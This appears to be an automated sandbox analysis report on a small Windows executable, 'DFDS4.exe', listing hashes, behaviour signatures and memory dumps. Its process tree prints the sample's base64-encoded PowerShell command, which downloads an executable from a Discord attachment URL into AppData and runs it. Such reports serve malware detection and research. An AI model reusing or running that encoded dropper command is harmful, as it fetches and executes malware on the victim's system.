Analysis
-
max time kernel
89s -
max time network
106s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
-
submitted
06-12-2022 06:57
General
-
Target
DFDS4.exe
-
Size
6KB
-
MD5
aacae33f1697d56d6ebbe91f49426380
-
SHA1
043d947a5ba9db57da8804ee1b3db6411c36a317
-
SHA256
e03373744068eb32bc09755df8ff0f111f93a47d94a9cca7513adac83a92d081
-
SHA512
a150a3f35b00e7553d5aabb6e524cd0770d10714cd255665f4355f9922b91d400d2d2c0c276b18dba2bd999da210a4538754da9f38b819d2a2b3c947a75f6c20
-
SSDEEP
192:3m1I9XX1FrDl2ND2tLNtUq256XvW4NRcWedV:KI9Xl32NKNt/jvW4NRcW2V
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\DFDS4.exe"C:\Users\Admin\AppData\Local\Temp\DFDS4.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZABrACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANAA5ADQAMQAwADIAMQA3ADQAMgAwADUAMwAzADgAMgAwAC8AMQAwADQAOQA0ADEANwA1ADAAMQAyADIAMwA2ADkAMAAzADQAMQAvAHAAbABsAG0AbQBkAGkAaQBwAG0ALgBlAHgAZQAnACwAIAA8ACMAeABjAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwByAGoAawAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBsAGYAegAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBKAEQAUwBHADMALgBlAHgAZQAnACkAKQA8ACMAZwByAHkAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZgB1AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHcAcABiACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEoARABTAEcAMwAuAGUAeABlACcAKQA8ACMAdwBrAGsAIwA+AA=="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1184-56-0x0000000000000000-mapping.dmp
-
memory/1184-59-0x000007FEF2D50000-0x000007FEF38AD000-memory.dmpFilesize
11.4MB
-
memory/1184-60-0x0000000002514000-0x0000000002517000-memory.dmpFilesize
12KB
-
memory/1184-61-0x000000001B700000-0x000000001B9FF000-memory.dmpFilesize
3.0MB
-
memory/1184-62-0x000000000251B000-0x000000000253A000-memory.dmpFilesize
124KB
-
memory/1184-63-0x0000000002514000-0x0000000002517000-memory.dmpFilesize
12KB
-
memory/1184-64-0x000000000251B000-0x000000000253A000-memory.dmpFilesize
124KB
-
memory/1184-66-0x000000000251B000-0x000000000253A000-memory.dmpFilesize
124KB
-
memory/1184-65-0x0000000002514000-0x0000000002517000-memory.dmpFilesize
12KB
-
memory/1724-54-0x0000000000D60000-0x0000000000D68000-memory.dmpFilesize
32KB
-
memory/1724-55-0x000007FEFB851000-0x000007FEFB853000-memory.dmpFilesize
8KB